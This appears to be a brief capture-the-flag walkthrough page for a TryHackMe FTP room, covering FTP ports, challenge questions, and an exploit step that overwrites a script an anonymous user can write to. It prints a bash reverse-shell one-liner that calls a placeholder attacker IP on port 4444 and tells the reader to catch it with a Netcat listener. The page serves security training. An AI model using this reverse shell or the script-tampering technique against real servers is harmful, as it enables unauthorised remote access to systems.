Anyone can be Santa!

Networking - FTP

Video

Resources

The standard for these two connections are the two ports:

  • Port 20 (Data)

  • Port 21 (Commands)

pentesters cheatsheetarrow-up-right

bash -i >& /dev/tcp/Your_TryHackMe_IP/4444 0>&1

Challenge

Name the directory on the FTP server that has data accessible by the "anonymous" user

circle-check

What script gets executed within this directory?

circle-check

What movie did Santa have on his Christmas shopping list?

circle-check

Re-upload this script to contain malicious data (just like we did in section 9.6. Output the contents of /root/flag.txt!

Note that the script that we have uploaded may take a minute to return a connection. If it doesn't after a couple of minutes, double-check that you have set up a Netcat listener on the device that you are working from, and have provided the TryHackMe IP of the device that you are connecting from.

circle-check

Last updated